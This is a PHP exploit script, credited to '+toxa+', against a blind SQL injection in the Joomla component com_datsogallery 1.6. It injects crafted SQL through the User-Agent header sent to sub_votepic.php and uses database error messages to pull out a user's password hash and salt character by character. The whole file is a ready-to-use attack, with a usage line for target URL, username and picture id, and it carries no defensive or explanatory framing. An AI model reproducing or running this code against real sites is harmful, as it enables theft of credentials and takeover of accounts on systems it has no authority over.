<?
//Joomla Component com_datsogallery 1.6 Blind SQL Injection Exploit by +toxa+
//Greets: all members of antichat.ru & cih.ms

//options
set_time_limit(0);
ignore_user_abort(1);
$norm_ua='Mozilla/5.0 (Windows; U; Windows NT 6.0; ru; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14';
$url=$_GET['url'];
$where=(!empty($_GET['user']))?"where username='".$_GET['user']."'":'limit 0,1';
$id=(!empty($_GET['id']))?$_GET['id']:'1';

//functions
function send_xpl($url, $xpl){
global $id;
$u=parse_url($url);
$req ="GET ".$u['path']."components/com_datsogallery/sub_votepic.php?id=$id&user_rating=1 HTTP/1.1\r\n";
$req.="Host: ".$u['host']."\r\n";
$req.="User-Agent: ".$xpl."\r\n";
$req.="Connection: Close\r\n\r\n";
$fs=fsockopen($u['host'], 80, $errno, $errstr, 30) or die("error: $errno - $errstr<br>\n");
fwrite($fs, $req);
$res=fread($fs, 4096); 
fclose($fs);
return $res;
}

function xpl($condition, $pos){
global $norm_ua;
global $where;
$xpl=rand(1,100000)."'),(1,if(ascii(substring((select password from #__users $where),$pos,1))$condition,(select '$norm_ua'),(select link from #__menu)))/*";
return $xpl;
}

//main
echo '<title>Joomla Component com_datsogallery 1.6 Blind SQL Injection Exploit by +toxa+</title>';
if(empty($url)) die($_SERVER['SCRIPT_NAME']."?url=[url]&user=[username]&id=[pic_id]\n<br>username&pic_id - optional\n");
send_xpl($url, $norm_ua);

//get md5
for($i=0;$i<=32;$i++){
$buff=send_xpl($url,xpl('>58', $i));
if(preg_match('/Duplicate entry/', $buff)){
for($j=97;$j<=102;$j++){
if(preg_match('/Duplicate entry/', send_xpl($url, xpl('='.$j,$i)))){ $pass.=chr($j); break; }
}
} elseif(preg_match('/Subquery returns more than 1 row/', $buff)){
for($j=48;$j<=57;$j++){
if(preg_match('/Duplicate entry/', send_xpl($url, xpl('='.$j,$i)))){ $pass.=chr($j); break; }
}
} else {
die("exploit failed");
}
}

//check Joomla version
$test=rand(1,100000)."'),(1,if((select length(password) from #__users $where)=32,(select '$norm_ua'),(select link from #__menu)))/*";
$buff=send_xpl($url,$test);
if(preg_match('/Duplicate entry/', $buff)) die($pass);

//separator
$pass.=':';

//get salt
for($i=33;$i<=49;$i++){
$buff=send_xpl($url,xpl('>58', $i));
if(preg_match('/Duplicate entry/', $buff)){
$buff=send_xpl($url, xpl('>91',$i));
if(preg_match('/Duplicate entry/', $buff)){
for($j=97;$j<=122;$j++){
if(preg_match('/Duplicate entry/', send_xpl($url, xpl('='.$j,$i)))){ $pass.=chr($j); break; }
}
} elseif(preg_match('/Subquery returns more than 1 row/', $buff)){
for($j=65;$j<=90;$j++){
if(preg_match('/Duplicate entry/', send_xpl($url, xpl('='.$j,$i)))){ $pass.=chr($j); break; }
}
} else {
die("exploit failed");
}
} elseif(preg_match('/Subquery returns more than 1 row/', $buff)){
for($j=48;$j<=57;$j++){
if(preg_match('/Duplicate entry/', send_xpl($url, xpl('='.$j,$i)))){ $pass.=chr($j); break; }
}
} else {
die("exploit failed");
}
}
echo $pass;